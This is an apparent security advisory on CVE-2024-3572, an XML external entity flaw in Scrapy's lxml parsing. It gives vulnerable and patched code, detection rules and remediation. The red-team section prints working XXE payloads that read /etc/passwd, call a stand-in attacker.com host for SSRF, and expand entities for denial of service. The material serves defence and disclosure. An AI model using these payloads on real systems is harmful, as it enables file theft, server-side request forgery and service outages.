CVE-2024-3572

Executive Summary

CVE-2024-3572 is a critical XML External Entity (XXE) vulnerability in the Scrapy web scraping framework (Python). The flaw resides in the use of lxml.etree.fromstring for parsing untrusted XML data without proper validation. An attacker can submit a crafted XML payload to trigger XXE, leading to denial of service (DoS), local file disclosure, server-side request forgery (SSRF), or firewall bypass. The CVSS score is 7.5 (High), and the EPSS probability is 0.0% (low exploitation likelihood at time of analysis). No official patch or advisory has been released by the vendor. This vulnerability affects all Scrapy versions that parse XML responses without disabling external entities.

Supply Chain & Package Security

This vulnerability is in the PyPI package scrapy. The attack surface is broadened because Scrapy is a widely used framework for web scraping and crawling. Any application that uses Scrapy to parse XML responses from untrusted sources is at risk. The dependency on lxml (which is a C-extension library) means that the XXE behavior is inherited from lxml's default configuration. Supply chain risk is elevated because the vulnerability is in a core parsing function, and many downstream projects may be unknowingly affected.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Local file disclosure is possible.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – DoS via entity expansion or resource exhaustion.

Threat Level: High (7.5). The combination of network exploitability, low complexity, and potential for both confidentiality and availability impact makes this a serious threat, especially for applications that scrape untrusted XML feeds.

Deep Dive & Mechanics

The vulnerability is rooted in the default behavior of lxml.etree.fromstring. When parsing XML, lxml by default processes Document Type Definitions (DTDs) and resolves external entities. An attacker can craft an XML payload that includes an external entity reference, such as:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

When Scrapy processes this XML (e.g., from a scraped response), the entity &xxe; is replaced with the contents of /etc/passwd, leading to information disclosure. Alternatively, an attacker can use a SYSTEM entity pointing to a network resource (e.g., http://attacker.com/) to perform SSRF or a denial of service via entity expansion (billion laughs attack).

The vulnerable code path is typically in Scrapy's XML feed parser or any custom spider that uses lxml.etree.fromstring directly on untrusted input. The fix involves disabling DTD processing and external entity resolution by setting the parser parameters:

parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False)
tree = etree.fromstring(xml_data, parser)

Vulnerable vs. Patched Code

Vulnerable Code (Scrapy's default XML parsing):

from lxml import etree

def parse_xml(response):
    # Vulnerable: uses default parser which resolves external entities
    root = etree.fromstring(response.body)
    # process root...

Patched Code (with secure parser configuration):

from lxml import etree

def parse_xml(response):
    # Secure: disable entity resolution and network access
    parser = etree.XMLParser(
        resolve_entities=False,
        no_network=True,
        dtd_validation=False,
        load_dtd=False
    )
    root = etree.fromstring(response.body, parser)
    # process root...

The key changes are:

• resolve_entities=False – prevents entity substitution.
• no_network=True – blocks network access for external entities.
• dtd_validation=False and load_dtd=False – disables DTD processing.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install Scrapy: pip install scrapy
2. Create a simple spider that parses XML responses.
3. Host a malicious XML file on a controlled server.

Exploit Payload (file disclosure):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Exploit Payload (SSRF/Blind XXE):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/exfil">
]>
<root>&xxe;</root>

Exploit Payload (DoS - Billion Laughs):

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<root>&lol9;</root>

Execution: Point the Scrapy spider to a URL that returns the malicious XML. The spider will parse it and the XXE will trigger.

Blue Team (Detection & Defense)

Detection:

• Monitor for outbound connections from Scrapy processes to unexpected IPs/domains.
• Log XML parsing errors or warnings (e.g., "Entity resolution failed").
• Use network monitoring to detect large XML payloads (DoS attempts).

Defense:

• Immediately patch by using a secure parser configuration (see patched code).
• Validate and sanitize all XML input before parsing.
• Use a Web Application Firewall (WAF) to block XXE payloads (e.g., <!ENTITY, SYSTEM, file://).
• Restrict outbound network access from Scrapy workers to only necessary destinations.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to suspicious IPs/domains from Scrapy processes.
  • HTTP requests containing <!ENTITY or SYSTEM in the body.
  • Large XML payloads (>1MB) in HTTP responses.

• File System IOCs:

  • Unexpected reads of sensitive files (e.g., /etc/passwd, /etc/shadow) by the Scrapy process.
  • Temporary files created by entity expansion (DoS).

• Log IOCs:

  • lxml warnings: "Entity resolution failed" or "Failed to load external entity".
  • Application logs showing XML parsing errors with entity references.

Detection Engineering

YARA Rule

rule CVE_2024_3572_XXE_Scrapy {
    meta:
        description = "Detects XXE payloads targeting Scrapy's lxml parser"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3572"
    strings:
        $xxe1 = "<!ENTITY" ascii wide nocase
        $xxe2 = "SYSTEM" ascii wide nocase
        $xxe3 = "file://" ascii wide nocase
        $xxe4 = "&lol" ascii wide nocase
        $xxe5 = "DOCTYPE" ascii wide nocase
    condition:
        any of ($xxe*) and #xxe1 > 0
}

Sigma Rule

title: CVE-2024-3572 XXE in Scrapy XML Parsing
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XXE exploitation attempts against Scrapy's lxml parser
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<!ENTITY'
            - 'SYSTEM'
            - 'file://'
            - '&lol'
    condition: selection
falsepositives:
    - Legitimate XML with DTDs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3572 XXE in Scrapy - Entity Declaration"; flow:to_server,established; content:"<!ENTITY"; http_client_body; nocase; content:"SYSTEM"; http_client_body; nocase; distance:0; within:100; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-3572 XXE in Scrapy - File Read Attempt"; flow:to_server,established; content:"file://"; http_client_body; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-3572 XXE in Scrapy - Billion Laughs"; flow:to_server,established; content:"&lol"; http_client_body; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch the code: Modify all Scrapy spiders that parse XML to use a secure lxml parser configuration as shown in the patched code section.
2. Update dependencies: Ensure lxml is updated to the latest version (4.9.3+ includes some security improvements, but the parser must still be configured securely).
3. Input validation: Reject XML payloads that contain <!DOCTYPE, <!ENTITY, or SYSTEM declarations unless absolutely necessary.

Long-term Mitigations:

• Use a safe XML parser like defusedxml (Python) which is designed to prevent XXE.
• Implement network segmentation to limit outbound connections from Scrapy workers.
• Regularly audit Scrapy spiders for insecure XML parsing.
• Monitor for CVE-2024-3572 patches from the Scrapy project.

Workaround: If patching is not immediately possible, use defusedxml.lxml as a drop-in replacement:

from defusedxml.lxml import fromstring
root = fromstring(response.body)

This library automatically disables entity resolution and network access.

Valters IT